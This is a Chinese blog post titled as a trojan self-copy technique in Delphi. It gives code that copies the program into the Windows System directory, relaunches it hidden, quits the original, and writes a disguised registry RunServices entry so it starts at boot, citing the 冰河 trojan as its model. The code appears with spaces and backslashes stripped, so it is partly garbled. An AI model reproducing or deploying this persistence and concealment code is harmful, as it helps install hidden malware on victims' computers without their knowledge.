木马自我拷贝法[Delphi]

本文介绍了一种使程序能够在Windows系统启动时自动运行的方法。通过检查程序是否位于特定目录(如Windows System目录),若不在则将其复制至此并运行新副本。此外,还介绍了如何利用注册表设置实现程序随系统启动而自动启动。

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:

procedureTForm1.FormCreate(Sender:TObject);
varmyname:
string;
begin
myname:
=ExtractFilename(Application.Exename);//获得文件名
ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename),pchar(GetWindir
+myname),False);...{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir
+myname),sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
functionGetWinDir:String;
var
Buf:array[
0..MAX_PATH]ofchar;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:
=Buf;
ifResult[Length(Result)]<>''thenResult:=Result+'';
end;

如何能使程序能在windows启动时自动启动?

为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

procedureTForm1.FormCreate(Sender:TObject);
constK='SoftwareMicrosoftWindowsCurrentVersionRunServices';
varmyname:
string;
begin
...{WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname:=ExtractFilename(Application.Exename);//获得文件名
ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename),pchar(GetWindir
+myname),False);...{//将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir+myname),sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
withTRegistry.Create
do
try
RootKey:
=HKEY_LOCAL_MACHINE;
OpenKey(K,TRUE);
WriteString(
'syspler',application.ExeName);
finally
free;
end;
end;
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值